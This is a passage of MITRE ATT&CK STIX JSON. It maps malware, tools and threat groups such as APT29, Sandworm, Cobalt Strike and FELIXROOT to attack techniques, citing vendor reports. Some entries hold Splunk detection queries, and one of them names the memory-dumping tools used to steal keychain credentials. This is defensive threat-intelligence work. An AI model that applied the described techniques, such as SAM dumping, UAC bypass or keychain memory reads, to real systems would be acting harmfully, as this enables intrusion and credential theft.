2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T14:33:21.619Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) has the ability to capture and replace Bitcoin wallet data in the clipboard on a compromised host.(Citation: ESET Security Mispadu Facebook Ads 2019)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9d7d861-66c9-469e-8baa-d72c7844a40f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html","description":"Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.","source_name":"FireEye FELIXROOT July 2018"},{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:25.896Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) collects the username from the victim’s machine.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9d86c0c-6ee9-4fdc-bb9b-6d331a44bbde","type":"relationship","created":"2020-11-09T14:52:45.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.806Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) has been packed with UPX.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9dce15d-68d8-46af-a7ec-354bf5093c49","created":"2020-05-22T18:00:52.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FBI FLASH APT39 September 2020","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.787Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used HTTP in communications with C2.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9e56665-26bb-49e2-99b4-6b4e7ccb38e3","created":"2023-08-01T18:41:24.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.570Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can utilize the CMSTPLUA COM interface and the SilentCleanup task to bypass UAC.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9e61755-27f6-4a94-a6f7-22cb150546ca","type":"relationship","created":"2021-10-01T01:57:31.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Black-T October 2020","url":"https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/","description":"Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.860Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has obtained domains to host their payloads.(Citation: Palo Alto Black-T October 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d9e7b8b3-6275-4c26-b9d2-4adfa1143c1b","created":"2020-11-18T19:55:02.802Z","x_mitre_version":"1.0","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bazar](https://attack.mitre.org/software/S0534) can decrypt downloaded payloads. [Bazar](https://attack.mitre.org/software/S0534) also resolves strings and other artifacts at runtime.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","modified":"2022-08-23T16:04:40.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9e8d390-35c6-437a-a7e4-0c64a339b2c4","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for an attempt by a user that may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.027Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) uses HTTP and HTTPS for command and control.(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9ea911f-2d25-44af-8f23-8f2460ea30ba","created":"2022-04-18T12:37:17.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Azure AD Security Operations for Devices","description":"Microsoft. (2020, September 16). Azure Active Directory security operations for devices. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:19:06.599Z","description":"Monitor for the registration or joining of new device objects in Active Directory. Raise alerts when new devices are registered or joined without using MFA.(Citation: Microsoft Azure AD Security Operations for Devices)\n\nAnalytic 1 - Device registration events with suspicious user agents, unusual OS types, OS versions, or display names.\n\nNote: To detect the registration of potentially malicious devices using hijacked admin credentials or from unusual IP addresses.\n\n index=\"m365_audit_logs\" Workload=\"AzureActiveDirectory\" Operation IN (\"Add registered owner to device\", \"Add device\", \"Add registered users to device\")\n| search ActorUserPrincipalName!=\"expected_admin_user\"\n| table CreationTime, ActorUserPrincipalName, IPAddress, ExtendedProperties, ModifiedProperties","relationship_type":"detects","source_ref":"x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9ebc7a4-c1d3-45f2-b5c5-2be22939fab7","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9ed5461-b123-4cb8-88e7-b24675858747","created":"2024-09-06T22:02:56.379Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:02:56.379Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used [BloodHound](https://attack.mitre.org/software/S0521) to profile Active Directory environments.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9ed5493-1610-4f65-bd2e-527b97bde8bf","created":"2020-11-06T18:40:38.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cobalt Strike TTPs Dec 2017","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"},{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"CobaltStrike Daddy May 2017","description":"Mudge, R. (2017, May 23). Cobalt Strike 3.8 – Who’s Your Daddy?. Retrieved June 4, 2019.","url":"https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.844Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use Python to perform execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: CobaltStrike Daddy May 2017)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9f924ec-aa93-48fd-aef6-2e545410f2d0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-17T19:00:53.743Z","description":"[adbupd](https://attack.mitre.org/software/S0202) can run a copy of cmd.exe.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--0f1ad2ef-41d4-4b7a-9304-ddae68ea3005","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d9fca287-fe50-43f8-bf6d-da6751ef8009","created":"2023-03-28T19:29:20.370Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Microsoft 365 2022","description":"Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:28:58.911Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used a compromised global administrator account in Azure AD to backdoor a service principal with `ApplicationImpersonation` rights to start collecting emails from targeted mailboxes; [APT29](https://attack.mitre.org/groups/G0016) has also used compromised accounts holding `ApplicationImpersonation` rights in Exchange to collect emails.(Citation: Mandiant APT29 Microsoft 365 2022)(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da00bf2c-926a-45e1-a0c9-02f02a490393","created":"2020-11-25T21:00:56.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Slowik Sandworm 2021","description":"Joseph Slowik, DomainTools. (2021, March 3). Centreon to Exim and Back: On the Trail of Sandworm. Retrieved April 6, 2024.","url":"https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm/"},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.","url":"https://www.justice.gov/opa/press-release/file/1328521/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-06T19:04:07.568Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has registered domain names and created URLs that are often designed to mimic or spoof legitimate websites, such as email login pages, online file sharing and storage websites, and password reset pages, while also hosting these items on legitimate, compromised network infrastructure.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: Slowik Sandworm 2021)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da0a0a14-0f29-43f8-abf7-b281a1071928","type":"relationship","created":"2021-09-21T15:45:10.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-18T13:19:48.595Z","description":"[Turian](https://attack.mitre.org/software/S0647) can retrieve system information including OS version, memory usage, local hostname, and system adapter information.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da0c5180-2999-413a-ae7b-142495c86553","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:57:50.756Z","description":"Monitor for processes being accessed that may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain.\n\nAnalytic 1 - Unauthorized process access indicating attempts to read securityd’s memory.\n\n index=security sourcetype IN (\"linux_secure\", \"macos_secure\") event_type=\"process\"\n(CommandLine IN (\"*gcore*\", \"*dbxutil*\", \"*vmmap*\", \"*gdb*\", \"*lldb*\", \"*memdump*\", \"*strings*\", \"*cat /proc/*/maps*\", \"*grep /proc/*/maps*\") OR\n (CommandLine IN (\"*securityd*\" AND CommandLine IN (\"*ps*\", \"*lsof*\", \"*pmap*\")))","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da0d2c02-a213-4815-a653-1e9b0a1b2841","type":"relationship","created":"2020-01-24T15:43:25.420Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:43:25.420Z","relationship_type":"revoked-by","source_ref":"attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d","target_ref":"attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da11f44a-5af0-4b71-a049-a9ff85e2ba9b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2020-03-18T20:05:04.999Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) gathers information on local groups and members on the victim’s machine.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--da139c4d-ee2f-4d07-9d0b-fb60bdf0353c","created":"2024-07-25T17:32:28.964Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:32:28.964Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) used [Reg](https://attack.mitre.org/software/S0075) to dump the Security Account Manager (SAM), System, and Security Windows registry hives from victim machines.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2020-06-02T16:14:00.608Z","description":"One variant of [BlackEnergy](https://attack.mitre.org/software/S0089) locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da2585bf-f31d-42c9-b488-e6cbab7bcd42","type":"relationship","created":"2021-03-05T18:54:56.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.759Z","description":"(Citation: Malwarebytes Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da288184-6537-4a23-b26e-e4329690bddb","type":"relationship","created":"2019-01-29T19:18:28.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"}],"modified":"2020-03-16T16:39:00.917Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) has a keylogging capability.(Citation: TrendMicro DarkComet Sept 2014)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--da2dd007-a827-42c9-b387-b8fc1e9950dd","type":"relationship","created":"2021-12-06T23:14:44.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.848Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has used VBScript to call wscript to execute a PowerShell command.(Citation: MalwareBytes LazyScripter Feb 